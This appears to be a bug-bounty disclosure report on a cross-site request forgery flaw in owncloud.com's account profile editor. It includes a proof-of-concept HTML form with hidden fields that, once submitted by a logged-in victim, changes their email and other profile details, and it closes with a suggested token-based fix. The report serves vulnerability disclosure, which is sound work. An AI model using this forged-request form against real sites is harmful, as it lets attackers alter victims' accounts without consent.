Allowed an attacker to force a user to change profile details. (XCSRF) A CSRF attack would not be prevented by this countermeasure because the attacker forges a request through the user's web browser in which a valid session already exists. There is no mitigation of Cross-Site Request Forgery (XCSRF) in edit profiles at https://owncloud.com/account/ The vulnerability resided in edit profile and allowed an attacker to force a user to change profile details. The attacker could employ a malicious web page with the following HTML code and ask the user to click the submit form. then the user was not able to understand what was really happening. ###Reproduction Instructions / Proof of Concept: ``` <form action="https://owncloud.com/account/" method="POST"> <input type="hidden" name="ws_plugin__s2member_profile_email" value="asdasdwqkgei@yahoo.com" /> <input type="hidden" name="ws_plugin__s2member_profile_first_name" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_last_name" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_display_name" value="test "/> <input type="hidden" name="ws_plugin__s2member_profile_user_type" value="Other" /> <input type="hidden" name="ws_plugin__s2member_profile_company" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_title" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_salutation" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_address_1" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_city" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_state" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_country" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_employees" value="test;" /> <input type="hidden" name="ws_plugin__s2member_profile_planed_users" value="asdasdwqkgei" /> <input type="hidden" name="ws_plugin__s2member_profile_phone_number" value="test" /> <input type="hidden" name="ws_plugin__s2member_profile_file" value="" /> <input type="hidden" name="ws_plugin__s2member_profile_password1" value="" /> <input type="hidden" name="ws_plugin__s2member_profile_password2" value="" /> <input type="hidden" name="ws_plugin__s2member_sc_profile_save" value="" /> <input type="hidden" name="ws_plugin__s2member_profile_save" value="" /> <input type="submit" value="Submit request" /> </form> ``` ###Suggested fix: Using crumbs to protect your PHP API (Ajax) call from Cross-site request forgery (CSRF/XSRF) and other vulnerabilities.

owncloud.com: Allowed an attacker to force a user to change profile details. (XCSRF)

Vulnerability Details

Actions

Report Stats

Share this report